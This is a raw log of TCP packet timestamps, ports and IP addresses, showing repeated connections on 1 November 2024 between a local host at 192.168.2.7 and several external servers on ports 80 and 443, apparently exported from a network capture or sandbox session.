Nov 1, 2024 12:34:34.369239092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369251013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369256020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369265079 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369282007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369292974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369293928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369303942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369316101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369337082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369359016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369517088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369534969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369545937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369556904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369566917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369575024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369576931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369595051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369595051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369606972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369611979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369618893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369632006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369637966 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369642019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369656086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369666100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369677067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369683981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369688034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369699001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369705915 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369709969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369721889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369724035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369734049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369734049 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369748116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369761944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369779110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369785070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369796991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369811058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369823933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369833946 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369834900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369848013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369858027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369868040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369868040 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369883060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369891882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369894028 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369904995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369913101 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369916916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369929075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369934082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369940042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369952917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369962931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369963884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369976044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369982004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369988918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.369993925 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.369999886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.370006084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.370012045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.370018959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.370049000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.370073080 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.373845100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.374506950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402440071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402477980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402489901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402590990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402755976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402766943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402777910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402796030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402807951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402813911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402818918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402829885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402833939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402852058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402857065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402863979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402872086 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402875900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402889013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402899027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402899981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402914047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402923107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.402931929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.402962923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.504601955 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.506956100 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.509947062 CET	80	50003	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.510042906 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.511826038 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.511992931 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.512221098 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.514923096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515007973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515021086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515037060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515048981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515055895 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515060902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515075922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515079975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515103102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515115023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515124083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515126944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515144110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515147924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515170097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515172005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515198946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515212059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515224934 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515228987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515243053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515250921 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515254021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515269995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515285015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515295982 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515297890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515310049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515327930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515331030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515335083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515355110 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515361071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515446901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515525103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515537977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515548944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515556097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515562057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515573025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515582085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515614986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515625000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515638113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515649080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515675068 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515681982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515696049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515707016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515718937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515731096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515733004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515744925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515759945 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515779018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515793085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515805006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515815973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515836954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515860081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515861988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515872955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515885115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515897989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515909910 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515935898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.515964031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515975952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515988111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.515996933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516011000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516020060 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516024113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516028881 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516040087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516053915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516067028 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516087055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516093969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516103029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516114950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516125917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516136885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516138077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516158104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516164064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516174078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516185045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516196966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516206026 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516210079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.516212940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516246080 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.516271114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.517224073 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.567328930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.749079943 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.749161005 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.749398947 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.781167984 CET	50004	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:34.781186104 CET	443	50004	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:34.785356998 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.431148052 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.431215048 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.440757036 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.445681095 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.729388952 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.729449987 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.861640930 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.862003088 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.869420052 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.869496107 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.869513035 CET	80	50005	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.869559050 CET	50005	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.880067110 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:35.887844086 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:35.952097893 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:35.952151060 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:35.952228069 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:35.952609062 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:35.952625036 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.561671019 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.561774969 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:36.569344997 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:36.569359064 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.569575071 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.570780039 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:36.570972919 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:36.570995092 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.571086884 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:36.571093082 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:36.782633066 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:36.782691002 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:36.814976931 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:36.819953918 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:37.102585077 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:37.102655888 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.209100008 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.209460020 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.215430021 CET	80	50006	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:37.215439081 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:37.215493917 CET	50006	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.215532064 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.216594934 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:37.221580029 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:37.250444889 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:37.250523090 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:37.250583887 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:37.250689030 CET	50007	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:37.250698090 CET	443	50007	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:38.117470980 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.117542982 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.122003078 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.126957893 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.353306055 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:38.353353977 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:38.353430033 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:38.356606007 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:38.356616020 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:38.357731104 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:38.362641096 CET	80	50010	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:38.362740993 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:38.362915993 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:38.367803097 CET	80	50010	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:38.404259920 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.405242920 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.602525949 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.603017092 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.608098030 CET	80	50008	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.608412027 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.608479023 CET	50008	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.608520031 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.624027967 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:38.628978968 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:38.977025032 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:38.977123976 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.008932114 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.008953094 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.009198904 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.011308908 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.011558056 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.011569023 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.304672003 CET	80	50010	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:39.304723024 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:39.308269978 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:39.313141108 CET	80	50010	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:39.499161959 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.499247074 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.499378920 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.499597073 CET	50009	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:39.499617100 CET	443	50009	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:39.519815922 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:39.519891024 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.523968935 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.528914928 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:39.603281975 CET	80	50010	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:39.603365898 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:39.812203884 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:39.815299034 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.949135065 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.949469090 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.954385042 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:39.954509020 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.954577923 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.955830097 CET	80	50011	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:39.955884933 CET	50011	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:39.959563971 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:40.883071899 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:40.883292913 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:40.925124884 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:40.930469036 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:41.219464064 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:41.219526052 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.352144003 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.352719069 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.358211040 CET	80	50012	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:41.358231068 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:41.358282089 CET	50012	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.358318090 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.369801998 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:41.375399113 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:41.694171906 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:41.694231987 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:41.694298029 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:41.694858074 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:41.694871902 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.280190945 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:42.280265093 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.281258106 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.289222956 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:42.303230047 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.303329945 CET	50014	443	192.168.2.7	188.114.96.3
